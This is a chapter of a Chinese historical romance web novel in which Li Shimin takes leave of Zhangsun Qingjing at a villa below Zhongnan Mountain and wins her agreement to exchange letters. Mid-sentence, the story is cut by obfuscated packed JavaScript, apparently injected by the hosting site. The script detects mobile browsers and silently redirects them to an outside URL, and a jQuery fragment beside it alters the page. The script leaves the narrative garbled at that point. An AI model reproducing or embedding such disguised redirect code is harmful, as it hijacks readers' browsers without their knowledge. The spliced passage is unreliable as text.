胭脂色的朝霞铺展在南山上空,不久碎开,从横竖的纹理中漫出了千万道金光,在南山上空织成宏伟的锦缎。秀拔的峰峦,蔓披的树林,萋萋的芳草由青黛转为油绿。
高氏别业前厅,李世民焦急地踱步等待婢女小娄的回禀。他该和长孙青璟说些什么呢?
好消息是他父亲升迁了,成为皇帝的准心腹敲打陇右豪强;坏消息是:皇帝还是不够信任他父亲,升迁的代价是携他李世民同去东都。
——前者似乎不该成为他炫耀的话题,后者又平淡得不值一提。
她会担心他吗?无论如何,他需要亲自与她道别,设法表明心迹又不能吓到她。
一阵细碎的脚步声传来,小娄匆匆从内室跑向前厅,把李世民从纷乱地思绪中拉回来。
“如何?”他今日的行事确实有些莽撞,心中惴惴不安,又渴望有人回应自己的热情。他甚至不敢抬头看小娄的脸,总觉得这个伶俐的女孩子正在默读他内心所想,然后告诉那些围拢在长孙青璟身边的点茶的、梳妆的、捧砚的各色婢女,大家便一齐在背后笑话他!
小娄上前致意,今日的胭脂搽得过浓,令人觉得有些滑稽。
“禀李公子,南山别业中现在只有长孙娘子一人。娘子说,难得休沐,郎君甥舅二人皆在大兴与陆词陆法言夫子和他的高徒长孙敏行公子交游。老夫人,我家鲜于娘子与高娘子恰好由两位郎君携去了大兴善寺,不到暮鼓擂起之时怕是不会出城。娘子感念公子今日前来拜会我家治礼郎与小郎君。但事不凑巧,亦不愿耽搁公子时间,便命奴婢如实相告。娘子帮不上公子什么忙,只得待家人回府后禀明公子来访一事,公子只待我家小郎君不日回访便可。若事有紧急,娘子便令家生前往城中将人都寻了回来,不过只怕公子枯坐无聊。不知公子意下如何?”
这是直接下逐客令了吗?李世民顿感兴意阑珊,觉得之前两人在磐石上开心谈笑一事只是自己的一厢情愿。
长孙青璟是个循礼端庄的女子,不过因为舅父与兄长的面子勉强与自己见上一面罢了,他怎么就胡思乱想这么一个矜持的女孩会给自己什么逾礼的暗示了。
他果然既自大又唐突,活该吃闭门羹。
李世民摆手道:“我岂敢为一点小事劳动高府上下大动干戈,既惹得治礼郎与你家小郎君败兴而归,又搅扰诸位娘子们难得的清闲。”
“那公子今日只得白走一遭了,娘子特命奴婢再三致歉。——娘子已经嘱咐家生给公子的白蹄乌喂饱粮草,公子你看……”小娄心中也不免遗憾,准备引导李世民离去,眼珠子却是灵活地转个不停。
“难道就此打道回府学写诗?”李世民心中嘀咕,忍不住再为自己挣扎一下,“等一等——娄娘子,烦劳再为我转达一次,我今日之事说大不大,说小不小,若是无人转告,只怕要等到数年后再与治礼郎一家相见了,到那时物是人非,令人不忍卒想。我自踌躇不知所措,劳你家娘子为我出个主意。”
“好啊!公子再等等!”小娄点头,灼红的脸色随着阳光忽闪忽闪,好像两条赤狐尾巴在恣意摇摆。
她也如插翅般疾跑回报。
“喂——不要再喂了,马要撑死了。”马厩处传来少女与部曲的争执,李世民猜测那是阿彩在大呼小叫。他居然连她贴身婢女的声音都记得,真是荒唐又甜蜜,滑稽又酸涩!
“无妨。尽管喂。白蹄乌是千里马,饕餮之甚,撑不死的!”李世民大声回应着。
高氏别业正堂,观音婢端坐于主座之上,指尖局促地在凭几上打着拍子,时不时瞥一眼两边的贴身侍女。她的面前摆上了一扇屏风。
小娄延请李世民进入正堂,李世民隔屏风向长孙青璟模糊的身影致意,然后落座。阿江奉上新煮的茶水与菓子。
“我也不知公子前来。准备仓促,阿江毛手毛脚的,茶也煮得急了些,不过把冰片龙脑给减量了。菓子也做得粗劣了些,不过里面夹着刚晒的桂花干。不成敬意,望公子海涵。”长孙青璟拨弄着身前的茶杯,也不知李世民来意。
“哪里?分明是李某唐突求见,搅扰府上,蒙娘子看在治礼郎与尊兄面上愿听某一番罗唣,实在是感激不尽。”李世民小心翼翼地说道,只怕一言不合被轰出别业。
“公子但说无妨,我尽力一字不漏代为转达。”长孙青璟懒散地说道。
“蒙祖宗荫庇,我已被皇帝陛下任命为库直,不日随法驾前往东都及北地,此事急迫,片刻耽搁不得。今日前来的本意是向治礼郎及无忌道别的……”屏障后把玩茶杯的手突然僵硬了,停滞了。
长孙青璟低头轻叹:“可惜舅父与兄长错过了饯行的机会……”她努力呈现满脸笑意,“我在此冒昧代替舅父及兄长恭祝公子此去深蒙圣眷,平步青云。”
李世民耸耸肩,自嘲道:“其实傻子也看得出陛下的意图,我自烦恼,娘子休要取笑某了。陛下不过是把我当成要挟父亲的——”
“公子休要胡言乱语。”长孙青璟喝止道。
李世民讪笑道:“是了是了。只不过这一去不知陛下何时放我归来。我的性子是极随意的,一想起宫中那些矫揉造作的应酬唱和,我的胸口就隐隐憋闷……梁园虽好,终不及南山一二知己,数盏清茶。”
长孙青璟面颊微红,沉默片刻:“有些话,本应是舅父与兄长再三嘱托公子的,我在此冒犯逾矩说一下:公子去到陛下身边,第一要义是千万不可忤逆陛下。世人常说:陛下身边的末等聪明之人乃无论着装谈吐都对陛下言听计从之人,并在陛下允许范围内为国效力;次等聪明之人为对陛下的诗文烂熟于心,能与陛下唱和又处处低陛下一二等的人,他们甘当“狎客”,不问政事;一等聪明人的阿谀奉承不留痕迹并时时处处以陛下之好恶为好恶,为陛下铲除异己不遗余力,此等人虽为世人不耻,却在当世炎焰张天,令世人敢怒不敢言。”
李世民吃惊地望着屏风上那个模糊的身影,她简直把他昨晚辗转反侧时的所想一一分门别类,令人醍醐灌顶。
“舅父与无忌不愿公子成为那一等聪明人,因那些人在我眼中其实不甚聪明,虽令人欣羡一时,终究逃不过家毁人亡的结局,富贵浮梦只在旦夕之间;硬逼着公子成为那次等聪明之人也过于勉强……”
李世民想到窦氏逼迫自己念杨广诗文,不禁会心一笑,佩服起这个少女来。
“娘子说得正合我心,唱和一二尚且勉强,狎客们的恶形恶状我更学不来……”
长孙青璟打断了他:“但是,舅父与兄长也不愿公子连那最末等的聪明人也排不上,若是排不上,便可能招来杀身之祸。”
“好的,那我就听娘子的,做个末等聪明人!”李世民击节赞叹。
小娄与阿彩忍不住窃窃私语,掩口欲笑。
“公子折煞我了,今日勉力款待公子,全因公子为我舅父与兄长挚交。可我一个闺阁中人,又哪里有资格教导公子呢?不过是鹦鹉学舌,逞一时口舌之快罢了。”
两人又是一阵沉默。李世民觉察出长孙青璟的不快。之前两人的相处,都是经由高士廉与长孙无忌允许,不存在真正意义上的独处。
今日不同之前,代高士廉与长孙无忌仓促款待客人已经是她的极限,自己方才言辞又有些轻佻,连两个婢女都在窃笑。她自然生气了。
“是某失言,向娘子谢罪。谢娘子转达治礼郎与无忌对某的一片赤诚之心,某当铭记在心!”说罢便长揖致谢。
“不敢。”长孙青璟回礼。
“只是还有一事有劳娘子代为转达。”他提醒自己沉住气,哪怕心生好感,也不能造次。
“请讲。”
“一件小事而已。我今日购得一只白鹘……”
“嗯?”
“据前主人说说就是宇文化及垂涎已久的那头‘将军’。”
“是吗?他居然没让骁果去抢来占为己有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041791|178809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”看来长孙青璟的心情恢复了。
李世民笑道:“此人可算恶名远播了,懒得说他。再说那白鹘,区区一日,便可以在东西两京之间往返一次。治礼郎是我敬重之长辈,尊兄无忌是我至交,若一日听不到这二人音讯,我便寝食难安。故而特意购得一只白鹘充当鱼雁使……”
一丝波纹掠过长孙青璟的嘴唇:“我知晓了。公子写与舅父、无忌的书信尽管差人从府上送来便是,他们也定然乐于回复。此事有何难,我一并转告便是了。长孙青璟虽是女流,却也懂得士为知己者死的道理,舅父视公子为忘年之交,无忌视公子为刎颈之交,定然珍视公子从东都捎回的只言片语。尤其是我的兄长,定会将公子不在大兴时此间的风物人情之变,每一场公子缺席的游猎宴会在回信中娓娓道来,令公子有身历其境之感。”
阿江再次为李世民添茶。李世民从怀中抽出一张叠小的麻纸,谨慎地揉捻着。
“某还有一个不情之请望娘子应允。”
“公子真是太拘谨了,但说无妨。”
“前者,娘子直言我文章中的一些毛病,当日我心中虽有诸多不服,却也不得不叹服娘子目光犀利,见解不同凡响。回到府中,我冥思苦想,竟越发觉得娘子所言极是,那朱红批注也是振聋发聩。”长孙青璟暗笑对方的刻意讨好。
“……真是点醒了满脑混沌的李某。昨夜一时兴起,便循着娘子的点评草草重拟了一篇。一气呵成之后也颇为得意。不知娘子能否屈尊一看,若娘子觉得此篇比原篇有些许长进,能否写一‘可’字作为批语?”
长孙青璟粲然道:“青璟胡言乱语却令公子当真,实在惭愧。”她示意阿彩接过文章。
“不过我确实好奇公子如何将旧文改头换面。”她接过叠好的麻纸,仔细展开。
“娘子莫急作答,我只静坐品茶,决不打搅娘子。”
观音婢边看边点头,时不时赞个“善”字。阿彩见长孙青璟即将看完全文,便奉上笔墨。屏风内突然传来笔砚落地的响声和厉声的斥责。
“何物等流!”李世民误以为长孙青璟被文章激怒,额上不由冒出了冷汗,茶水抖泼了一地,小娄前来收拾,问道:“公子身体是否不适?”
屏风内,阿彩跪地请罪:“奴婢该死!娘子没有被砚池砸到罢?”
“承你吉言。皆是我平日里疏忽,将你们一个个惯出了一身懒怠的毛病。如今更是连捧砚这点琐屑小事也干不来了!”
“娘子息怒!”阿彩近前为长孙青璟擦拭水渍。
长孙青璟摆手道:“罢了,你离我远些,冒冒失失的,莫再吓到了我。”
说罢执笔写字。不待墨迹干透,便将麻纸叠回原样付与阿彩转交李世民。李世民并不敢细看便胡乱塞入怀中。
他抹了一下汗涔涔的额头:“今日与娘子坐而论道,李某受益颇多。待某回京师之日,定然再来高府拜会,搅扰了娘子雅兴,某在此请辞。”说罢作揖拜别。
“珍重。”屏障里的声音微弱而忧伤。
白蹄乌疾驰在驿道上,待得终南远山融为一片青黑的模糊背景时,李世民勒紧缰绳,从怀中掏出那张皱巴巴的麻纸,深吸一口气铺开。
在大改的文章下书写着:
某在洛城期间,将所见所感敷衍成文。娘子能否不吝赐教?某之侍婢小知将助某办妥交接诗文之事,云云,……
库直牛马走,李世民再拜言
这行字下面正书写着一个不大不小的“可”字。
李世民将纸叠好,重新收回怀中,吁气微笑。他不由精神百倍,扬鞭打道回府。
一路上,他甚至将身上所有的五铢钱都散给了衣衫褴褛、食不果腹的乞丐。
心仪的女孩准确地接收到了他微妙的小心思,没有发火,没有拒绝,没有把他赶出门,而是默默接受了他的约定。
这个世间对待他比他想象的要宽容美好一些。